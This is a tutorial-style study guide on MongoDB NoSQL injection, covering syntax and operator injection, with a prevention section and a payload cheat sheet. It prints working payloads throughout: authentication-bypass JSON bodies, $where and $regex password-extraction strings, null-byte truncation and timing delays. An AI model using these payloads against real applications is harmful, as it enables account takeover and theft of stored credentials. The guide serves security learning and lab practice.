

# NoSQL Injection

NoSQL injection closes out the injection family from your series (SQLi → SSTI → NoSQLi) — same fundamental root cause as SQLi (untrusted input reaching a query in a way that changes its meaning), but the exploitation mechanics differ significantly because NoSQL databases don't share SQL's universal query language. This guide focuses on **MongoDB**, the most widely deployed NoSQL database and the one you've already encountered as a common unauthenticated-exposure finding in your Shodan/Censys and Common Ports guides.

---

## 1. Why NoSQL Injection Is a Different Animal Than SQLi

SQL databases all speak a shared standard language, so SQLi payloads transfer fairly well across MySQL/MSSQL/PostgreSQL/Oracle with minor syntax tweaks. NoSQL databases have **no such shared standard** — MongoDB, CouchDB, Redis, and others each use their own query language, data structures, and operator sets. This means NoSQLi exploitation is inherently more database-specific than SQLi from the very first payload you try.

**Impact is otherwise strikingly similar to SQLi:**

- Authentication/protection bypass
  - Data extraction or modification
  - Denial of service
  - Remote code execution (in some configurations)
- 

## 2. Two Distinct Types of NoSQL Injection

This is the core organizing concept for the whole topic:

| Type                      | What It Exploits                                                                                                                                                        |
|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <b>Syntax injection</b>   | Breaking the query's literal syntax/string structure — conceptually similar to classic SQLi's quote-breakout technique                                                  |
| <b>Operator injection</b> | Abusing the database's own <b>query operators</b> (special reserved keywords like <code>\$ne</code> , <code>\$where</code> ) that get parsed from structured input like |

| Type | What It Exploits |
|------|------------------|
|      | JSON             |

Syntax injection is the direct cousin of everything from your SQLi guide. Operator injection is genuinely NoSQL-specific — there's no real SQL equivalent, since it exploits how the database interprets structured JSON/object input rather than a string.

### 3. NoSQL Syntax Injection — Detection

**Example scenario:** a shopping app builds a MongoDB query from a URL parameter:

```
https://insecure-website.com/product/lookup?category=fizzy
→ builds: this.category == 'fizzy'
```

**Fuzzing to detect breakage** — inject a string containing characters likely to break MongoDB's query syntax:

```
'" `{
;$Foo}
$Foo \xYZ
```

If this fuzz string produces a different response (error, altered behavior) than normal input, the input likely isn't being sanitized before reaching the query — the same "throw special characters, watch for a reaction" methodology from your SQLi guide's detection checklist, just with a NoSQL-relevant character set instead of SQL's.

**Determining exactly which character breaks it:**

```
category=fizzy'
→ builds: this.category == 'fizzy''
```

If this alone changes the response, the single quote is breaking the query. Confirm by escaping it properly:

```
category=fizzy\'
→ builds: this.category == 'fizzy\''
```

If the escaped version behaves normally again, you've confirmed the application is vulnerable — the unescaped quote genuinely reaches the query parser.

## 4. Confirming Conditional Behavior (Boolean Testing)

Same core technique as blind SQLi's boolean testing from your SQLi guide, adapted to MongoDB's JavaScript-flavored condition syntax:

```
category=fizzy' && 0 && 'x    → false condition
category=fizzy' && 1 && 'x    → true condition
```

If the two requests produce genuinely different responses, you've confirmed the injected condition is actually influencing the server-side query logic — not just causing a generic error.

## 5. Overriding Existing Conditions

Once boolean influence is confirmed, the next step mirrors SQLi's classic `OR 1=1` authentication/filter bypass exactly:

```
category=fizzy' || '1'=='1
→ builds: this.category == 'fizzy' || '1'=='1'
```

Since `'1'=='1'` is always true, the query now returns **every** product regardless of category — including hidden/unreleased items, the same "always true" bypass logic from your SQLi guide's Example 1.

**Same critical caution as SQLi:** an always-true injected condition that's harmless in a read-only lookup context can cause real data loss if that same input is reused elsewhere in an `UPDATE` or `DELETE` operation — the exact warning from your SQLi guide's Example 1 applies identically here.

**Null-byte bypass (MongoDB-specific technique):**

```
category=fizzy'\x00
→ builds: this.category == 'fizzy'\u0000' && this.released
== 1
```

MongoDB may ignore everything after a null character — meaning the trailing `&& this.released == 1` restriction never gets evaluated at all, silently exposing unreleased products without needing to craft a working boolean bypass for that specific clause.

## 6. NoSQL Operator Injection — A MongoDB-Specific Technique

MongoDB queries use special reserved **operators** to express conditions — these become an injection surface of their own, completely distinct from the syntax-breaking technique above.

**Common MongoDB operators worth knowing:**

| Operator             | Function                                             |
|----------------------|------------------------------------------------------|
| <code>\$where</code> | Matches documents satisfying a JavaScript expression |
| <code>\$ne</code>    | Matches values NOT equal to a specified value        |
| <code>\$in</code>    | Matches any value in a specified array               |
| <code>\$regex</code> | Matches values against a regular expression          |

**Submitting operators via structured input:**

```
Normal JSON:    {"username":"wiener"}
Injected:       {"username":{"$ne":"invalid"}}
```

```
Normal URL param: username=wiener
Injected:         username[$ne]=invalid
```

If URL-parameter-style operator injection doesn't work directly, a documented fallback technique is converting the request to `POST` with a JSON content type/body and injecting the operator there instead — worth knowing as a standard pivot when the obvious injection point is locked down but the underlying endpoint still accepts JSON.

## 7. Operator Injection — Authentication Bypass (The Headline Exploit)

This is NoSQLi's version of the classic `admin'--` SQLi login bypass from your SQLi guide, and it's genuinely one of the most well-known NoSQLi patterns:

Normal login body:

```
{"username": "wiener", "password": "peter"}
```

Testing `if` the username field processes operators:

```
{"username": {"$ne": "invalid"}, "password": "peter"}
```

→ `if $ne is` honored, this matches **ANY** username that isn't literally `"invalid"`

**Full** authentication bypass, `if BOTH fields` process operator `s`:

```
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
```

→ matches **any** document **where** username `!= "invalid"` **AND** password `!= "invalid"`

→ logs you **in as** the **FIRST** matching **user in** the entire collection

**Targeting a specific account** by combining `$in` (matching any of several guessed usernames) with `$ne` on the password:

```
{"username": {"$in": ["admin", "administrator", "superadmin"]}, "password": {"$ne": ""}}
```

This is a genuinely devastating, low-effort bypass when it works — no password guessing required at all, just structural manipulation of how the login query is built.

## 8. Exploiting Syntax Injection to Extract Data (JavaScript Execution)

Some MongoDB operators/functions — notably `$where` and `mapReduce()` — actually execute **JavaScript** as part of query evaluation. If a vulnerable application already uses one of these, you can inject JavaScript expressions directly into the query logic to extract data character by character:

Vulnerable query built from a username lookup:  
`{"$where": "this.username == 'admin'"}`

Extract the first character of a user's password:  
`admin' && this.password[0] == 'a' || 'a'=='b`

This checks whether the target's password starts with `a` — true/false, exactly like blind SQLi's boolean character-extraction technique, just expressed in JavaScript instead of SQL.

**Using pattern matching to narrow the search space faster:**

```
admin' && this.password.match(/\d/) || 'a'=='b
```

Confirms whether the password contains any digit at all — useful for narrowing your character set before brute-forcing position by position.

**Identifying field names first (since NoSQL has no fixed schema):**

|                                                 |                                          |
|-------------------------------------------------|------------------------------------------|
| <code>admin' &amp;&amp; this.password!='</code> | (test if a "password" field exists)      |
| <code>admin' &amp;&amp; this.username!='</code> | (known-existing field, as a baseline)    |
| <code>admin' &amp;&amp; this.foo!='</code>      | (known-nonexistent field, as a baseline) |

Comparing the response for your guessed field name against these two baselines tells you whether it actually exists — a dictionary/wordlist attack against common field names (`password`, `role`, `isAdmin`, `email`) is the practical way to do this at scale, mirroring the same "brute-force the unknown structure" spirit as directory brute-forcing from your earlier web recon guides.

## 9. Exploiting Operator Injection to Extract Data

Even when the *original* query has no JavaScript-executing operator, you may be able to **inject one yourself**:

```
{"username": "wiener", "password": "peter", "$where": "0"}  
→ false
```

```
{"username": "wiener", "password": "peter", "$where": "1"}  
→ true
```

A response difference here confirms your injected `$where` clause is actually being evaluated by the database — meaning you've now created your own JavaScript execution primitive within an application that never intended to expose one.

**Extracting field names via `keys()`:**

```
"$where": "Object.keys(this)[0].match('^{0}a.*')"
```

Walks the object's own key names character by character — a more systematic and complete approach than the dictionary-guessing method from Section 8, since it doesn't require you to already suspect a field name exists.

**Extracting data using `$regex` (no JavaScript execution required at all):**

```
{"username": "admin", "password": {"$regex": "^.*"}} → con  
firm $regex is processed  
{"username": "admin", "password": {"$regex": "^a.*"}} → d  
oes the password start with "a"?
```

This is genuinely powerful because it works even against applications that never use `$where` / `mapReduce()` anywhere — `$regex` is an extremely common, "harmless-looking" operator that's often left completely unfiltered, and it alone is sufficient to extract data character by character through the same boolean-narrowing logic as everything else in this guide.

## 10. Timing-Based NoSQL Injection (The Blind-Blind Case)

When there's no visible response difference at all — not even a subtle one — you can fall back to time delays, exactly mirroring your SQLi guide's time-based blind technique:

1. Establish a normal baseline response **time by** loading the page a few times
2. Inject a conditional delay payload:  

```
{"$where": "sleep(5000)"}
```

 → unconditional **5-second** del

ay, confirms `$where` executes at all

3. Make the delay **CONDITIONAL** on a fact you're testing:

```
admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);  
  while((x.password[0]==="a") && waitTill > new Date())  
  {};}(this)+'  
  
admin'+function(x){if(x.password[0]==="a"){sleep(5000)}};(this)+'
```

If the response takes ~5 seconds longer specifically when your guessed character is correct, you've confirmed that fact purely through timing — the exact same principle as MySQL's `SLEEP()` / MSSQL's `WAITFOR DELAY` from your SQLi guide, just expressed as JavaScript running inside MongoDB's query engine.

## 11. Practical Testing Workflow — Putting It All Together

1. Identify inputs that reach a NoSQL-backed query (login forms, search/filter fields, lookups) – these often LOOK identical to SQL-backed equivalents from the outside, so don't assume based on appearance alone
2. Fuzz with NoSQL-relevant special characters  
→ different response? Move to syntax injection testing
3. If URL/form input doesn't behave as expected, try converting to a raw JSON POST body and injecting operators directly as nested objects (Burp's Content Type Converter extension automates this conversion)
4. Test operator injection specifically on login/auth endpoints first  
– {"\$ne":"invalid"} on both fields is the highest-value, lowest-effort test to run immediately on any NoSQL-backed login form
5. If a JavaScript-executing operator is confirmed (`$where`, `mapReduce`), pivot to character-by-character data extraction
6. If no operator executes JS, fall back to `$regex`-based boolean extraction
7. If NOTHING produces a visible difference, fall back to timing-based injection as the final detection/exploitation method

## 12. Prevention — Fixing NoSQL Injection

Following the same architectural principle from your SQLi and SSTI guides — **keep user input as data, never let it become query structure**:

**a) Parameterized queries** — insert user input via the database driver's parameterization mechanism rather than concatenating strings into the query, exactly the SQLi fix pattern, adapted to whatever your specific NoSQL driver provides.

**b) Allowlist input validation** — sanitize and validate against a strict allowlist of accepted characters, rather than trying to blocklist "dangerous" ones (the same losing blocklist game called out in both your SQLi and XXE guides).

**c) Allowlist accepted operator keys specifically** — since operator injection exploits the fact that user-controlled JSON keys get interpreted as MongoDB operators, explicitly restricting which keys are ever accepted from user input (rejecting anything starting with `$`, for instance) directly closes off the entire operator-injection category.

**d) Consult your specific database's security documentation** — unlike SQL's shared standard, there's no single universal NoSQLi fix; MongoDB, CouchDB, and others each have their own driver-level parameterization mechanisms and hardening guidance that should be followed specifically, not assumed to generalize.

---

## 13. Practical Lab Example

MongoDB is exactly the database type flagged as a frequent unauthenticated exposure finding in your Shodan/Censys guide (product:"MongoDB" -authentication) — worth connecting that recon-stage finding to this exploitation-stage knowledge directly.

PortSwigger's Web Security Academy has dedicated NoSQL injection labs (linked from the same page this guide is based on) covering both syntax and operator injection against realistic MongoDB-backed targets — the most direct hands-on environment for this specific topic.

Practice flow:

1. Find a login form or filter/search feature
2. Try the `{"$ne":"invalid"}` auth bypass on both fields first (fastest win)
3. If that fails, fuzz for syntax-breaking characters
4. Escalate through operator injection → `$where` JS extraction → `$regex` extraction → timing-based, in that order, as each technique gets blocked by better-designed input handling

## 14. Kill Chain / ATT&CK / CWE / OWASP — Full Mapping

| Framework         | Mapping                                                                                                                                                                                        |
|-------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CWE               | CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) — the NoSQL-generalized sibling of CWE-89 (SQL Injection) under the same CWE-74 Injection parent from your CWE guide |
| OWASP Top 10:2025 | A05:2025 Injection                                                                                                                                                                             |
| CVSS              | Similar profile to SQLi — often High/Critical when authentication bypass or full data extraction is achievable, AV:N/PR:N/UI:N common on unauthenticated login endpoints                       |
| Cyber Kill Chain  | Exploitation stage — an auth-bypass finding here often directly grants the level of access that would otherwise require a full separate credential-harvesting phase                            |
| MITRE ATT&CK      | T1190 (Exploit Public-Facing Application)                                                                                                                                                      |

## Quick Reference Cheat Sheet

Syntax injection detection:

```
'"`${ ;$Foo} $Foo \xYZ          ← fuzz string
category=fizzy'                  ← single-char br
eakage test
category=fizzy' || '1'=='1       ← always-true
override
category=fizzy'\x00              ← null-byte t
runcation
```

Operator injection - auth bypass:

```
{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}
{"username":{"$in":["admin","root"]},"password":{"$ne":""}}
```

JavaScript extraction (\$where):

```
admin' && this.password[0] == 'a' || 'a'=='b
admin' && this.password.match(/\d/) || 'a'=='b
```

```
$regex extraction (no JS operator needed):  
{ "username": "admin", "password": { "$regex": "^a.*" } }
```

Timing-based:

```
{ "$where": "sleep(5000)" }
```

URL param → JSON pivot for operator injection:

```
username=wiener → username[$ne]=invalid  
                → (if that fails) convert to POST + application/json body
```